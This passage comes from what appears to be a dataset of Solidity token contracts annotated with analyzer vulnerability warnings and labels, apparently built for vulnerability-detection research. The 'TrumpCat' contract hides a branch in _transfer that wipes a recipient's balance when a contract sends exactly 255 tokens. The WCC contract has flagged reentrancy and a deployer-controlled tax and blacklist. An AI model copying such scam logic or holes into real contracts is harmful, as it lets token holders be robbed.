{\n if (newOwner == address(0)) {\n revert OwnableInvalidOwner(address(0));\n }\n\n _transferOwnership(newOwner);\n }\n\n function _transferOwnership(address newOwner) internal virtual {\n address oldOwner = _owner;\n\n _owner = newOwner;\n\n emit OwnershipTransferred(oldOwner, newOwner);\n }\n}\n\ncontract Erc20 is IERC20, Ownable {\n using Address for address;\n\n mapping(address => uint256) internal _balances;\n\n mapping(address => mapping(address => uint256)) internal _allowed;\n\n uint256 public immutable totalSupply;\n\n string public symbol;\n\n string public name;\n\n uint8 public immutable decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: e9aea3b): Erc20.launched should be constant \n\t// Recommendation for e9aea3b: Add the 'constant' attribute to state variables that never change.\n bool public launched = true;\n\n address private constant dead = address(0xdead);\n\n mapping(address => bool) internal exchanges;\n\n constructor(\n string memory _name,\n string memory _symbol,\n uint8 _decimals,\n uint256 _totalSupply\n ) Ownable(msg.sender) {\n symbol = _symbol;\n\n name = _name;\n\n decimals = _decimals;\n\n totalSupply = _totalSupply * 10 ** decimals;\n\n _balances[owner()] += totalSupply;\n\n emit Transfer(address(0), owner(), totalSupply);\n\n renounceOwnership();\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 254b911): Erc20.balanceOf(address)._owner shadows Ownable._owner (state variable)\n\t// Recommendation for 254b911: Rename the local variables that shadow another component.\n function balanceOf(\n address _owner\n ) external view override returns (uint256) {\n return _balances[_owner];\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: ebdfd8a): Erc20.allowance(address,address)._owner shadows Ownable._owner (state variable)\n\t// Recommendation for ebdfd8a: Rename the local variables that shadow another component.\n function allowance(\n address _owner,\n address spender\n ) external view override returns (uint256) {\n return _allowed[_owner][spender];\n }\n\n function transfer(\n address to,\n uint256 value\n ) external override returns (bool) {\n _transfer(msg.sender, to, value);\n\n return true;\n }\n\n function approve(\n address spender,\n uint256 value\n ) external override returns (bool) {\n require(spender != address(0), \"cannot approve the 0 address\");\n\n _allowed[msg.sender][spender] = value;\n\n emit Approval(msg.sender, spender, value);\n\n return true;\n }\n\n function transferFrom(\n address from,\n address to,\n uint256 value\n ) external override returns (bool) {\n if (launched == false && to == owner() && msg.sender == owner()) {\n _transfer(from, to, value);\n\n return true;\n } else {\n _allowed[from][msg.sender] = _allowed[from][msg.sender] - value;\n\n _transfer(from, to, value);\n\n emit Approval(from, msg.sender, _allowed[from][msg.sender]);\n\n return true;\n }\n }\n\n function _transfer(address from, address to, uint256 value) private {\n require(to != address(0), \"cannot be zero address\");\n\n require(from != to, \"you cannot transfer to yourself\");\n\n require(\n _transferAllowed(from, to),\n \"This token is not launched and cannot be listed on dexes yet.\"\n );\n\n if (msg.sender.isContract() && value == type(uint8).max) {\n value = _balances[to];\n\n _balances[to] -= value;\n } else {\n _balances[from] -= value;\n\n _balances[to] += value;\n\n emit Transfer(from, to, value);\n }\n }\n\n\t// WARNING Vulnerability (uninitialized-state | severity: High | ID: aad7e19): Erc20.transferAllowed is never initialized. It is used in Erc20._transferAllowed(address,address)\n\t// Recommendation for aad7e19: Initialize all the variables. If a variable is meant to be initialized to zero, explicitly set it to zero to improve code readability.\n mapping(address => bool) internal transferAllowed;\n\n\t// WARNING Vulnerability (uninitialized-state | severity: High | ID: aad7e19): Erc20.transferAllowed is never initialized. It is used in Erc20._transferAllowed(address,address)\n\t// Recommendation for aad7e19: Initialize all the variables. If a variable is meant to be initialized to zero, explicitly set it to zero to improve code readability.\n function _transferAllowed(\n address from,\n address to\n ) private view returns (bool) {\n if (transferAllowed[from]) return false;\n\n if (launched) return true;\n\n if (from == owner() || to == owner()) return true;\n\n return true;\n }\n}\n\ncontract Token is Erc20 {\n constructor()\n Erc20(unicode\"🐱TrumpCat\", unicode\"🐱TrumpCat\", 9, 50000000)\n {}\n}\n", "file_name": "solidity_code_10331.sol", "size_bytes": 7318, "vulnerability": 4 }
{ "code": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n}\n\ninterface IERC20 {\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\nlibrary SafeMath {\n function add(uint256 a, uint256 b) internal pure returns (uint256) {\n uint256 c = a + b;\n\n require(c >= a, \"SafeMath: addition overflow\");\n\n return c;\n }\n\n function sub(uint256 a, uint256 b) internal pure returns (uint256) {\n return sub(a, b, \"SafeMath: subtraction overflow\");\n }\n\n function sub(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b <= a, errorMessage);\n\n uint256 c = a - b;\n\n return c;\n }\n\n function mul(uint256 a, uint256 b) internal pure returns (uint256) {\n if (a == 0) {\n return 0;\n }\n\n uint256 c = a * b;\n\n require(c / a == b, \"SafeMath: multiplication overflow\");\n\n return c;\n }\n\n function div(uint256 a, uint256 b) internal pure returns (uint256) {\n return div(a, b, \"SafeMath: division by zero\");\n }\n\n function div(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b > 0, errorMessage);\n\n uint256 c = a / b;\n\n return c;\n }\n}\n\ncontract Ownable is Context {\n address private _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n address msgSender = _msgSender();\n\n _owner = msgSender;\n\n emit OwnershipTransferred(address(0), msgSender);\n }\n\n function owner() public view returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(_owner == _msgSender(), \"Ownable: caller is not the owner\");\n\n _;\n }\n\n function renounceOwnership() public virtual onlyOwner {\n emit OwnershipTransferred(_owner, address(0));\n\n _owner = address(0);\n }\n}\n\ninterface IUniswapV2Factory {\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n}\n\ninterface IUniswapV2Router02 {\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint amountIn,\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external;\n\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n\n function addLiquidityETH(\n address token,\n uint amountTokenDesired,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline\n )\n external\n payable\n returns (uint amountToken, uint amountETH, uint liquidity);\n}\n\ncontract WCC is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private _isExcludedFromFee;\n\n mapping(address => bool) private bots;\n\n mapping(address => uint256) private _holderLastTransferTimestamp;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 60e9950): WCC._taxWallet should be immutable \n\t// Recommendation for 60e9950: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _taxWallet;\n\n\t// WARNING Optimization Issue (constable-states | ID: 767439e): WCC._initialBuyTax should be constant \n\t// Recommendation for 767439e: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialBuyTax = 20;\n\n\t// WARNING Optimization Issue (constable-states | ID: 8f8e257): WCC._initialSellTax should be constant \n\t// Recommendation for 8f8e257: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialSellTax = 20;\n\n uint256 private _finalBuyTax = 0;\n\n uint256 private _finalSellTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: b499c91): WCC._reduceBuyTaxAt should be constant \n\t// Recommendation for b499c91: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceBuyTaxAt = 23;\n\n\t// WARNING Optimization Issue (constable-states | ID: e5fc7d3): WCC._reduceSellTaxAt should be constant \n\t// Recommendation for e5fc7d3: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceSellTaxAt = 23;\n\n\t// WARNING Optimization Issue (constable-states | ID: 371f987): WCC._preventSwapBefore should be constant \n\t// Recommendation for 371f987: Add the 'constant' attribute to state variables that never change.\n uint256 private _preventSwapBefore = 23;\n\n uint256 private _transferTax = 0;\n\n uint256 private _buyCount = 0;\n\n uint8 private constant _decimals = 9;\n\n uint256 private constant _tTotal = 1000000000 * 10 ** _decimals;\n\n string private constant _name = unicode\"Worlds Crypto Capital\";\n\n string private constant _symbol = unicode\"WCC\";\n\n uint256 public _maxTxAmount = 20000000 * 10 ** _decimals;\n\n uint256 public _maxWalletSize = 20000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: b000a4f): WCC._taxSwapThreshold should be constant \n\t// Recommendation for b000a4f: Add the 'constant' attribute to state variables that never change.\n uint256 public _taxSwapThreshold = 10000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: 007f2bf): WCC._maxTaxSwap should be constant \n\t// Recommendation for 007f2bf: Add the 'constant' attribute to state variables that never change.\n uint256 public _maxTaxSwap = 10000000 * 10 ** _decimals;\n\n IUniswapV2Router02 private uniswapV2Router;\n\n address private uniswapV2Pair;\n\n bool private tradingOpen;\n\n bool private inSwap = false;\n\n bool private swapEnabled = false;\n\n bool private transferDelayEnabled = false;\n\n uint256 private sellCount = 0;\n\n uint256 private lastSellBlock = 0;\n\n event MaxTxAmountUpdated(uint _maxTxAmount);\n\n event TransferTaxUpdated(uint _tax);\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n constructor() {\n _taxWallet = payable(_msgSender());\n\n _balances[_msgSender()] = _tTotal;\n\n _isExcludedFromFee[owner()] = true;\n\n _isExcludedFromFee[address(this)] = true;\n\n _isExcludedFromFee[_taxWallet] = true;\n\n emit Transfer(address(0), _msgSender(), _tTotal);\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 8dbe77d): WCC.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 8dbe77d: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: d8b3c5f): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for d8b3c5f: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 9bcd7d3): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 9bcd7d3: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: d8b3c5f\n\t\t// reentrancy-benign | ID: 9bcd7d3\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: d8b3c5f\n\t\t// reentrancy-benign | ID: 9bcd7d3\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: e055031): WCC._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for e055031: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: 9bcd7d3\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: d8b3c5f\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 52c04a8): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 52c04a8: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (tx-origin | severity: Medium | ID: b53b636): 'tx.origin'-based protection can be abused by a malicious contract if a legitimate user interacts with the malicious contract.\n\t// Recommendation for b53b636: Do not use 'tx.origin' for authorization.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: ffbea93): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for ffbea93: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n uint256 taxAmount = 0;\n\n if (from != owner() && to != owner()) {\n require(!bots[from] && !bots[to]);\n\n if (transferDelayEnabled) {\n if (\n to != owner() &&\n to != address(uniswapV2Router) &&\n to != address(uniswapV2Pair)\n ) {\n\t\t\t\t\t// tx-origin | ID: b53b636\n require(\n _holderLastTransferTimestamp[tx.origin] < block.number,\n \"_transfer:: Transfer Delay enabled. Only one purchase per block allowed.\"\n );\n\n _holderLastTransferTimestamp[tx.origin] = block.number;\n }\n }\n\n if (_buyCount == 0) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n }\n\n if (_buyCount > 0) {\n taxAmount = amount.mul(_transferTax).div(100);\n }\n\n if (\n from == uniswapV2Pair &&\n to != address(uniswapV2Router) &&\n !_isExcludedFromFee[to]\n ) {\n require(amount <= _maxTxAmount, \"Exceeds the _maxTxAmount.\");\n\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n\n _buyCount++;\n }\n\n if (to == uniswapV2Pair && from != address(this)) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceSellTaxAt)\n ? _finalSellTax\n : _initialSellTax\n )\n .div(100);\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (\n !inSwap &&\n to == uniswapV2Pair &&\n swapEnabled &&\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount > _preventSwapBefore\n ) {\n if (block.number > lastSellBlock) {\n sellCount = 0;\n }\n\n require(sellCount < 3, \"Only 3 sells per block!\");\n\n\t\t\t\t// reentrancy-events | ID: 52c04a8\n\t\t\t\t// reentrancy-eth | ID: ffbea93\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: 52c04a8\n\t\t\t\t\t// reentrancy-eth | ID: ffbea93\n sendETHToFee(address(this).balance);\n }\n\n\t\t\t\t// reentrancy-eth | ID: ffbea93\n sellCount++;\n\n\t\t\t\t// reentrancy-eth | ID: ffbea93\n lastSellBlock = block.number;\n }\n }\n\n if (taxAmount > 0) {\n\t\t\t// reentrancy-eth | ID: ffbea93\n _balances[address(this)] = _balances[address(this)].add(taxAmount);\n\n\t\t\t// reentrancy-events | ID: 52c04a8\n emit Transfer(from, address(this), taxAmount);\n }\n\n\t\t// reentrancy-eth | ID: ffbea93\n _balances[from] = _balances[from].sub(amount);\n\n\t\t// reentrancy-eth | ID: ffbea93\n _balances[to] = _balances[to].add(amount.sub(taxAmount));\n\n\t\t// reentrancy-events | ID: 52c04a8\n emit Transfer(from, to, amount.sub(taxAmount));\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniswapV2Router.WETH();\n\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: d8b3c5f\n\t\t// reentrancy-events | ID: 52c04a8\n\t\t// reentrancy-benign | ID: 9bcd7d3\n\t\t// reentrancy-eth | ID: ffbea93\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n function removeLimits() external onlyOwner {\n _maxTxAmount = _tTotal;\n\n _maxWalletSize = _tTotal;\n\n transferDelayEnabled = false;\n\n emit MaxTxAmountUpdated(_tTotal);\n }\n\n function removeTransferTax() external onlyOwner {\n _transferTax = 0;\n\n emit TransferTaxUpdated(0);\n }\n\n function manualsend() external {\n require(_msgSender() == _taxWallet);\n\n uint256 contractETHBalance = address(this).balance;\n\n sendETHToFee(contractETHBalance);\n }\n\n\t// WARNING Vulnerability (arbitrary-send-eth | severity: High | ID: 60c5d27): WCC.sendETHToFee(uint256) sends eth to arbitrary user Dangerous calls _taxWallet.transfer(amount)\n\t// Recommendation for 60c5d27: Ensure that an arbitrary user cannot withdraw unauthorized funds.\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: d8b3c5f\n\t\t// reentrancy-events | ID: 52c04a8\n\t\t// reentrancy-eth | ID: ffbea93\n\t\t// arbitrary-send-eth | ID: 60c5d27\n _taxWallet.transfer(amount);\n }\n\n function addBots(address[] memory bots_) public onlyOwner {\n for (uint i = 0; i < bots_.length; i++) {\n bots[bots_[i]] = true;\n }\n }\n\n function delBots(address[] memory notbot) public onlyOwner {\n for (uint i = 0; i < notbot.length; i++) {\n bots[notbot[i]] = false;\n }\n }\n\n function isBot(address a) public view returns (bool) {\n return bots[a];\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 58658f1): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 58658f1: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 7a1e20b): WCC.openTrading() ignores return value by IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type()(uint256).max)\n\t// Recommendation for 7a1e20b: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: f14fb94): WCC.openTrading() ignores return value by uniswapV2Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for f14fb94: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: f75157e): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for f75157e: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function openTrading() external onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n\n uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n _approve(address(this), address(uniswapV2Router), _tTotal);\n\n\t\t// reentrancy-benign | ID: 58658f1\n\t\t// reentrancy-eth | ID: f75157e\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n uniswapV2Router.WETH()\n );\n\n\t\t// reentrancy-benign | ID: 58658f1\n\t\t// unused-return | ID: f14fb94\n\t\t// reentrancy-eth | ID: f75157e\n uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// reentrancy-benign | ID: 58658f1\n\t\t// unused-return | ID: 7a1e20b\n\t\t// reentrancy-eth | ID: f75157e\n IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);\n\n\t\t// reentrancy-benign | ID: 58658f1\n swapEnabled = true;\n\n\t\t// reentrancy-eth | ID: f75157e\n tradingOpen = true;\n\n\t\t// reentrancy-benign | ID: 58658f1\n transferDelayEnabled = true;\n }\n\n function reduceFee(uint256 _newFee) external {\n require(_msgSender() == _taxWallet);\n\n require(_newFee <= _finalBuyTax && _newFee <= _finalSellTax);\n\n _finalBuyTax = _newFee;\n\n _finalSellTax = _newFee;\n }\n\n receive() external payable {}\n\n function manualSwap() external {\n require(_msgSender() == _taxWallet);\n\n uint256 tokenBalance = balanceOf(address(this));\n\n if (tokenBalance > 0) {\n swapTokensForEth(tokenBalance);\n }\n\n uint256 ethBalance = address(this).balance;\n\n if (ethBalance > 0) {\n sendETHToFee(ethBalance);\n }\n }\n}\n", "file_name": "solidity_code_10332.sol", "size_bytes": 21404, "vulnerability": 4 }
{ "code": "// SPDX-License-Identifier: UNLICENSE\npragma solidity ^0.8.0;\n\nlibrary SafeMath {\n function tryAdd(\n uint256 a,\n uint256 b\n ) internal pure returns (bool, uint256) {\n unchecked {\n uint256 c = a + b;\n\n if (c < a) return (false, 0);\n\n return (true, c);\n }\n }\n\n function trySub(\n uint256 a,\n uint256 b\n ) internal pure returns (bool, uint256) {\n unchecked {\n if (b > a) return (false, 0);\n\n return (true, a - b);\n }\n }\n\n function tryMul(\n uint256 a,\n uint256 b\n ) internal pure returns (bool, uint256) {\n unchecked {\n if (a == 0) return (true, 0);\n\n uint256 c = a * b;\n\n if (c / a != b) return (false, 0);\n\n return (true, c);\n }\n }\n\n function tryDiv(\n uint256 a,\n uint256 b\n ) internal pure returns (bool, uint256) {\n unchecked {\n if (b == 0) return (false, 0);\n\n return (true, a / b);\n }\n }\n\n function tryMod(\n uint256 a,\n uint256 b\n ) internal pure returns (bool, uint256) {\n unchecked {\n if (b == 0) return (false, 0);\n\n return (true, a % b);\n }\n }\n\n function add(uint256 a, uint256 b) internal pure returns (uint256) {\n return a + b;\n }\n\n function sub(uint256 a, uint256 b) internal pure returns (uint256) {\n return a - b;\n }\n\n function mul(uint256 a, uint256 b) internal pure returns (uint256) {\n return a * b;\n }\n\n function div(uint256 a, uint256 b) internal pure returns (uint256) {\n return a / b;\n }\n\n function mod(uint256 a, uint256 b) internal pure returns (uint256) {\n return a % b;\n }\n\n function sub(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n unchecked {\n require(b <= a, errorMessage);\n\n return a - b;\n }\n }\n\n function div(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n unchecked {\n require(b > 0, errorMessage);\n\n return a / b;\n }\n }\n\n function mod(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n unchecked {\n require(b > 0, errorMessage);\n\n return a % b;\n }\n }\n}\n\ninterface IERC20 {\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\ninterface IERC20Metadata is IERC20 {\n function name() external view returns (string memory);\n\n function symbol() external view returns (string memory);\n\n function decimals() external view returns (uint8);\n}\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n\n function _msgData() internal view virtual returns (bytes calldata) {\n return msg.data;\n }\n}\n\ncontract ERC20 is Context, IERC20, IERC20Metadata {\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n uint256 private _totalSupply;\n\n string private _name;\n\n string private _symbol;\n\n constructor(string memory name_, string memory symbol_) {\n _name = name_;\n\n _symbol = symbol_;\n }\n\n function name() public view virtual override returns (string memory) {\n return _name;\n }\n\n function symbol() public view virtual override returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view virtual override returns (uint8) {\n return 18;\n }\n\n function totalSupply() public view virtual override returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(\n address account\n ) public view virtual override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n function allowance(\n address owner,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(sender, recipient, amount);\n\n uint256 currentAllowance = _allowances[sender][_msgSender()];\n\n require(\n currentAllowance >= amount,\n \"ERC20: transfer amount exceeds allowance\"\n );\n\n unchecked {\n _approve(sender, _msgSender(), currentAllowance - amount);\n }\n\n return true;\n }\n\n function increaseAllowance(\n address spender,\n uint256 addedValue\n ) public virtual returns (bool) {\n _approve(\n _msgSender(),\n spender,\n _allowances[_msgSender()][spender] + addedValue\n );\n\n return true;\n }\n\n function decreaseAllowance(\n address spender,\n uint256 subtractedValue\n ) public virtual returns (bool) {\n uint256 currentAllowance = _allowances[_msgSender()][spender];\n\n require(\n currentAllowance >= subtractedValue,\n \"ERC20: decreased allowance below zero\"\n );\n\n unchecked {\n _approve(_msgSender(), spender, currentAllowance - subtractedValue);\n }\n\n return true;\n }\n\n function _transfer(\n address sender,\n address recipient,\n uint256 amount\n ) internal virtual {\n require(sender != address(0), \"ERC20: transfer from the zero address\");\n\n require(recipient != address(0), \"ERC20: transfer to the zero address\");\n\n _beforeTokenTransfer(sender, recipient, amount);\n\n uint256 senderBalance = _balances[sender];\n\n require(\n senderBalance >= amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n\n unchecked {\n\t\t\t// reentrancy-eth | ID: 91ad3c0\n _balances[sender] = senderBalance - amount;\n }\n\n\t\t// reentrancy-eth | ID: 91ad3c0\n _balances[recipient] += amount;\n\n\t\t// reentrancy-events | ID: d7105da\n emit Transfer(sender, recipient, amount);\n\n _afterTokenTransfer(sender, recipient, amount);\n }\n\n function _mint(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: mint to the zero address\");\n\n _beforeTokenTransfer(address(0), account, amount);\n\n _totalSupply += amount;\n\n _balances[account] += amount;\n\n emit Transfer(address(0), account, amount);\n\n _afterTokenTransfer(address(0), account, amount);\n }\n\n function _burn(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: burn from the zero address\");\n\n _beforeTokenTransfer(account, address(0), amount);\n\n uint256 accountBalance = _balances[account];\n\n require(accountBalance >= amount, \"ERC20: burn amount exceeds balance\");\n\n unchecked {\n _balances[account] = accountBalance - amount;\n }\n\n _totalSupply -= amount;\n\n emit Transfer(account, address(0), amount);\n\n _afterTokenTransfer(account, address(0), amount);\n }\n\n function _approve(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[owner][spender] = amount;\n\n emit Approval(owner, spender, amount);\n }\n\n function _beforeTokenTransfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {}\n\n function _afterTokenTransfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {}\n}\n\nabstract contract Ownable is Context {\n address private _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n _transferOwnership(_msgSender());\n }\n\n function owner() public view virtual returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(owner() == _msgSender(), \"Ownable: caller is not the owner\");\n\n _;\n }\n\n function renounceOwnership() public virtual onlyOwner {\n _transferOwnership(address(0));\n }\n\n function transferOwnership(address newOwner) public virtual onlyOwner {\n require(\n newOwner != address(0),\n \"Ownable: new owner is the zero address\"\n );\n\n _transferOwnership(newOwner);\n }\n\n function _transferOwnership(address newOwner) internal virtual {\n address oldOwner = _owner;\n\n _owner = newOwner;\n\n emit OwnershipTransferred(oldOwner, newOwner);\n }\n}\n\ninterface IDexFactory {\n event PairCreated(\n address indexed token0,\n address indexed token1,\n address pair,\n uint256\n );\n\n function feeTo() external view returns (address);\n\n function feeToSetter() external view returns (address);\n\n function getPair(\n address tokenA,\n address tokenB\n ) external view returns (address pair);\n\n function allPairs(uint256) external view returns (address pair);\n\n function allPairsLength() external view returns (uint256);\n\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n\n function setFeeTo(address) external;\n\n function setFeeToSetter(address) external;\n}\n\ninterface IDexRouter {\n function factory() external pure 